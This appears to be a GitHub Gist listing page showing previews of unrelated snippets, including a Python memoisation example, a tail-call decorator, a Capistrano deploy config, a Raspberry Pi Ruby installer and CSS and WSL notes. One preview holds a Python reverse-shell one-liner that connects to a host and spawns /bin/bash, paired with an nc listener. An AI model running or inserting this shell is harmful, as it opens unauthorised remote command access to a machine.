Skip to content

Instantly share code, notes, and snippets.

@andrewsmedina
andrewsmedina / gist:4128591
Created November 21, 2012 23:45
lru_cache
from functools import lru_cache
@lru_cache(maxsize=None)
def fib(n):
if n < 2:
return n
return fib(n-1) + fib(n-2)
@hltbra
hltbra / optimization.py
Created November 22, 2012 20:01
tail call optimization decorator
import sys
def tail_recursion_with_stack_inspection(g):
'''
Version of tail_recursion decorator using stack-frame inspection.
'''
loc_vars ={"in_loop":False,"cnt":0}
def result(*args, **kwd):
if not loc_vars["in_loop"]:
@welingtonsampaio
welingtonsampaio / deploy.rb
Created April 8, 2013 23:37
Gist de configuração do capistrano em aplicação rails com ec2, pedido pelo grupo rails-br
##
# Fazendo deploy com o capistrano de uma aplicação Rails
# usando servidores da Amazon ec2 e unicorn como servidor
# o versionamento do ruby no ambiente de produção foi feito
# com o rbenv ( https://github.com/sstephenson/rbenv ), o SO
# esta com o Centos 5.3 x64
#
# Primeiramente é necessario instalar a gem com o comando:
# gem install capistrano
# ou adicione a linha: gem "capistrano", :group => :development
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# on the CLIENT, run the following:
# nc -l 12345
# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345
# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345
@blacktm
blacktm / install_ruby_rpi.sh
Last active May 26, 2024 15:13
A Bash script to install Ruby on the Raspberry Pi
#!/bin/bash
# --------------------------------------------------------------------------------------------
# Installs Ruby using rbenv/ruby-build on the Raspberry Pi (Raspbian)
#
# Run from the web:
# bash <(curl -s https://gist.githubusercontent.com/blacktm/8302741/raw/install_ruby_rpi.sh)
# --------------------------------------------------------------------------------------------
# Set the Ruby version you want to install
@nodecarter
nodecarter / error.log
Last active March 6, 2018 18:42
problem with installing rmagick gem on mac os x
$ gem install rmagick -v '2.12.2' [ruby-1.9.3-p551]
Building native extensions. This could take a while...
ERROR: Error installing rmagick:
ERROR: Failed to build gem native extension.
/Users/nodecarter/.rvm/rubies/ruby-1.9.3-p551/bin/ruby -r ./siteconf20160205-17372-lm8cre.rb extconf.rb
checking for Ruby version >= 1.8.5... yes
extconf.rb:107: Use RbConfig instead of obsolete and deprecated Config.
checking for gcc-4.9... yes
checking for Magick-config... yes
@douglascamata
douglascamata / install_ruby_rpi.sh
Created April 3, 2018 20:13 — forked from blacktm/install_ruby_rpi.sh
A Bash script to install Ruby 2.5 on the Raspberry Pi (Raspbian)
#!/bin/bash
# --------------------------------------------------------------------------------------------
# Installs Ruby 2.5 using rbenv/ruby-build on the Raspberry Pi (Raspbian)
#
# Run from the web:
# bash <(curl -s https://gist.githubusercontent.com/blacktm/8302741/raw/install_ruby_rpi.sh)
# --------------------------------------------------------------------------------------------
# Welcome message
@JoeyBurzynski
JoeyBurzynski / 55-bytes-of-css.md
Last active June 2, 2024 11:24
58 bytes of css to look great nearly everywhere

58 bytes of CSS to look great nearly everywhere

When making this website, i wanted a simple, reasonable way to make it look good on most displays. Not counting any minimization techniques, the following 58 bytes worked well for me:

main {
  max-width: 38rem;
  padding: 2rem;
  margin: auto;
}
@ld100
ld100 / ArchLinuxWSL2.md
Last active June 12, 2024 16:25
Steps for setting up Arch Linux on WSL2

Migrating from Ubuntu on WSL to ArchLinux on WSL2

Obsolete notice

This document was created back in 2020 and might not be actual nowadays. It is not supported anymore, so use thise information at your own risk.

Upgrading to WSL 2

  • Download WSL2 Kernel
  • run wsl --set-default-version 2 in windows command line, so that all future WSL machine will use WSL2.